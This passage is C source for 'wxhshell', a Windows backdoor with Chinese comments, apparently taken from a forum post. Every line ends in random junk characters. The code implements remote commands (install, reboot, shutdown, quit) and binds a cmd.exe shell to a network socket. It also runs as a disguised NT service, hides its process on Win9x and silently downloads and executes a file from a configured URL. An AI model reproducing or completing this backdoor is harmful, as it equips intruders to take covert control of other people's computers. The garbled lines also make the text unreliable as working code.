  else d.w]\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ef7 U7   
  } 0U% tjYk(  
  else { &8i$`6wY  
`~d7l@6F  
    switch(cmd[0]) { _XP}f x7$C  
  mYo~RXKGF  
  // 帮助 L9e<hRZ$  
  case '?': { 3HuocwWbz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vde!k_,wZ  
    break; |)>+& xk  
  } Xe&9| M  
  // 安装 %`s#p` Ol1  
  case 'i': { R%n*wGi_6b  
    if(Install())  ]XlBV-@b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8*b{8%<K  
    else T&/ n.-@nk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cz/ E  
    break; Q{S{|.w-  
    }  $L uU  
  // 卸载 xPm{'J+b~  
  case 'r': { }XUI1H]jk  
    if(Uninstall()) e^@ZN9qQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bt")RG  
    else gzhIOeY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c ZYvP  
    break; *%jtcno=Y  
    } XgVhb<l_  
  // 显示 wxhshell 所在路径 ehB '@_y  
  case 'p': { 6FUcg40Y  
    char svExeFile[MAX_PATH]; p8j4Tc5tQ>  
    strcpy(svExeFile,"\n\r"); M]Vi]s  
      strcat(svExeFile,ExeFile); 1(T2:N(M-A  
        send(wsh,svExeFile,strlen(svExeFile),0); *[ 0,QEy  
    break; 71E~~$  
    } _nz_.w0H9  
  // 重启 6`'g ${U  
  case 'b': { Q'^'G>MBJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); aJ=)5%$6kc  
    if(Boot(REBOOT)) sbVEA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I&i6-xp  
    else { PtQ[({d3R  
    closesocket(wsh); .,'4&}N}  
    ExitThread(0); _VgFuU$h  
    } o@PvA1  
    break; !!ZGNZ_  
    } v]@ XyF\j8  
  // 关机 : i.5 < f  
  case 'd': { C[Q4OAFG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U:7w8$_  
    if(Boot(SHUTDOWN)) F> Ika=z,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8VU(+%X  
    else { WQCnkP  
    closesocket(wsh); &m36h`tM  
    ExitThread(0); T; [T`  
    } d, i4WKp   
    break; fO5L[U^`  
    } (  -q0!]E  
  // 获取shell CTg79 ITYk  
  case 's': { l{3zlXk3z  
    CmdShell(wsh); n?6^j8i  
    closesocket(wsh); _?felxG[  
    ExitThread(0); %LHt{:9.  
    break; njJTEUd">  
  } 7Cz=;  
  // 退出 P5G0fq7  
  case 'x': { DsxNg  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |*ZM{$  
    CloseIt(wsh); v0&DD&mp  
    break; :0%[u(  
    } dj] O  
  // 离开 ^Ar1V!PFk  
  case 'q': { .i )K#82  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U3]/ NV*   
    closesocket(wsh); mPPB"uQ  
    WSACleanup(); PmsZ=FY  
    exit(1); /8:e| ]  
    break; +6+1N)L  
        } Kn1u1@&Xd  
  } ZBU<L+#  
  } krlebPs[  
elKp?YN  
  // 提示信息 d7g$9&/q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 46l*ui_  
} G]xN#O;  
  } )Mflt0fp  
d5 ]-{+V+  
  return; RJ4=AA|  
} A$\/D2S7!  
e :ub]1I=  
// shell模块句柄 1=>b\"P#E  
int CmdShell(SOCKET sock) k'F*uS  
{ DN*M-o9  
STARTUPINFO si; iV@\v0k  
ZeroMemory(&si,sizeof(si)); Fm&f  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '>bn94$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F|VHr@%  
PROCESS_INFORMATION ProcessInfo; i 28TH Jh  
char cmdline[]="cmd"; K",Xe>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v'`qn  
  return 0; rOUQg_y  
} h;(mb2[R  
lt5Knz2G,Z  
// 自身启动模式 $mq+/|bn  
int StartFromService(void) MfI+o<{r  
{ +Swl$ab  
typedef struct F2(^O Fh  
{ cF9ZnT.  
  DWORD ExitStatus; 4},Y0QXw  
  DWORD PebBaseAddress; eA(FWO  
  DWORD AffinityMask; )`|`PB  
  DWORD BasePriority; / a}N6KUi  
  ULONG UniqueProcessId; Zl!  
  ULONG InheritedFromUniqueProcessId; #QOb[9(Tu(  
}   PROCESS_BASIC_INFORMATION; kyYU 1gfh  
]$UTMuO Ql  
PROCNTQSIP NtQueryInformationProcess; ??hKsjNAm0  
I&1.}{G>F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i(# Fjp  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hf)R PG&  
N/2WUp  
  HANDLE             hProcess; CAA 3-"Cwi  
  PROCESS_BASIC_INFORMATION pbi; Y!(w.G  
 SBi4i;qD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :< ]sJf N  
  if(NULL == hInst ) return 0; u1z!OofN>  
i3(5 '  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z]Z&PbP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \`/ P*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^h`rA"F\  
Hp(41Eb,  
  if (!NtQueryInformationProcess) return 0; :q2RgZE  
5Ktll~+:#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m60hTJ?N)  
  if(!hProcess) return 0; ^6CPC@B1  
axXR-5c  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;'!h(H  
I[ 06R  
  CloseHandle(hProcess); 2of+KI:  
Dn>C :YS`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .lz= MUR  
if(hProcess==NULL) return 0; +).=}.k  
>k}Kf1I  
HMODULE hMod; & )-fC  
char procName[255]; C}o^p"M*B3  
unsigned long cbNeeded; b!EqYT  
0*uJS`se6Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^zG!Z:E  
IMy!8$\u  
  CloseHandle(hProcess); "zIQ(|TL?d  
)4YtdAV  
if(strstr(procName,"services")) return 1; // 以服务启动 6UPGE",u  
6 iH]N*]S^  
  return 0; // 注册表启动 etb#/L  
} ' #t1e]  
JQ]MkP  
// 主模块 [#:yOZt  
int StartWxhshell(LPSTR lpCmdLine) p5nrPL  
{ tKi ^0vE8  
  SOCKET wsl; <V8=*n"mR  
BOOL val=TRUE; qV$0 ";d  
  int port=0; %we! J%'Y]  
  struct sockaddr_in door; ;O .;i,#Z  
c-?0~A  
  if(wscfg.ws_autoins) Install(); ZmaW]3$  
3/su1M[  
port=atoi(lpCmdLine); 6k1_dRu  
$yFR{_]  
if(port<=0) port=wscfg.ws_port; 7:C2xC  
gF~ }  
  WSADATA data; 0}Q d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fAT M?  
o107. s  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o|VM{5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }OgZZ8-_M  
  door.sin_family = AF_INET; ab_EH}j1\q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !ZN"(0#qz  
  door.sin_port = htons(port); +ldgT"  
aSSw>*?Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (rf8"T!"  
closesocket(wsl); <$ nMqUu0  
return 1; Wb{8WPS  
} **n109R  
Q>/[*(.Wd  
  if(listen(wsl,2) == INVALID_SOCKET) { %BkPkQA  
closesocket(wsl); C9`x"$  
return 1; s:sk`~2<gd  
} ).r04)/  
  Wxhshell(wsl); fd1z XK#Z2  
  WSACleanup(); pA5X<)~   
jpfFJon)w  
return 0; 8{-bG8L> 5  
B o[aiT  
} G4f%=Z  
`]l[p+DO  
// 以NT服务方式启动 {/qq*0wa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9q<?xO  
{ pH.&OW%  
DWORD   status = 0; h{VGh kU9f  
  DWORD   specificError = 0xfffffff; 1uc;:N G=  
@ |7e~U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; S#Pni}JD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Q"`J-#L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^Pc&`1Ap  
  serviceStatus.dwWin32ExitCode     = 0; )G$0:-J-  
  serviceStatus.dwServiceSpecificExitCode = 0; M7AUY#)  
  serviceStatus.dwCheckPoint       = 0; ::k/hP9.^  
  serviceStatus.dwWaitHint       = 0; sHMZ'9b  
H|B4.z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :YN,cId*  
  if (hServiceStatusHandle==0) return; AkV8}>G?#A  
Y/n],(t)  
status = GetLastError(); '$be+Z32  
  if (status!=NO_ERROR) ljO t~@Ea  
{ 3C;nC?]K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; JwmH_nJ(  
    serviceStatus.dwCheckPoint       = 0; 4kf8Am(  
    serviceStatus.dwWaitHint       = 0; \&X*-T[]j  
    serviceStatus.dwWin32ExitCode     = status; E#+|.0*!s  
    serviceStatus.dwServiceSpecificExitCode = specificError; +C9 l7 q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }tH6E  
    return; GMoE,L  
  } Nc[u?-  
1"} u51  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8|\?imOp\[  
  serviceStatus.dwCheckPoint       = 0; t9m08K:Y  
  serviceStatus.dwWaitHint       = 0; t>(}LV.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NT [~AK9M  
} \MFjb IL  
dy2<b+ ..  
// 处理NT服务事件,比如:启动、停止 I>3]VR i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z"'tJ3Y.~  
{ LO M-i>  
switch(fdwControl) c{K[bppJ*  
{ $<s 3;>t  
case SERVICE_CONTROL_STOP: %C(^v)"  
  serviceStatus.dwWin32ExitCode = 0; 0N>R!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l)( 3]  
  serviceStatus.dwCheckPoint   = 0; A<s9c=d6  
  serviceStatus.dwWaitHint     = 0; qCgoB 0  
  { SpX6PwM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '#@tovr  
  } qFYM2  
  return; ju?D=n@i  
case SERVICE_CONTROL_PAUSE: G^/8lIj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; rnTjw "%  
  break; $y+Bril5W  
case SERVICE_CONTROL_CONTINUE: o@tc   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <;nhb  
  break; [&a=vE  
case SERVICE_CONTROL_INTERROGATE: YhNO{4D  
  break; /%w3(e  
}; GbN|!,X1m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YB'BAX<lI  
} xnD"LK  
2uM\?*T@  
// 标准应用程序主函数 0Wc8\c  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !qF t:{-h  
{ ?_b zg'  
%/Y;  
// 获取操作系统版本 MF/@Efjn ]  
OsIsNt=GetOsVer(); C;NG#4;'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -7:_Dy  
(S1Co&SX  
  // 从命令行安装 Rk@xv;t;  
  if(strpbrk(lpCmdLine,"iI")) Install(); jQrw^6C  
@Lf-=9  
  // 下载执行文件 \t^h|<`  
if(wscfg.ws_downexe) { |QB[f*y5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \RDS~u\d  
  WinExec(wscfg.ws_filenam,SW_HIDE); .-HwT3  
} hO] vy>i;  
p?XVO#  
if(!OsIsNt) { (N :vDq'  
// 如果时win9x,隐藏进程并且设置为注册表启动 c}r"O8M  
HideProc(); ;o-c.-!F  
StartWxhshell(lpCmdLine); T1_>qnSz  
} M=Cl|  
else =/SBZLR(9  
  if(StartFromService()) !{%BfZX<&  
  // 以服务方式启动 dNfME*"yN  
  StartServiceCtrlDispatcher(DispatchTable); >s|zr S)  
else pDV8B/{  
  // 普通方式启动 A{Dy3tm=  
  StartWxhshell(lpCmdLine); bx8;`Q MX  
{YigB  
return 0; !ZrU@T  
}
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只看该作者 1 发表于: 2006-10-10
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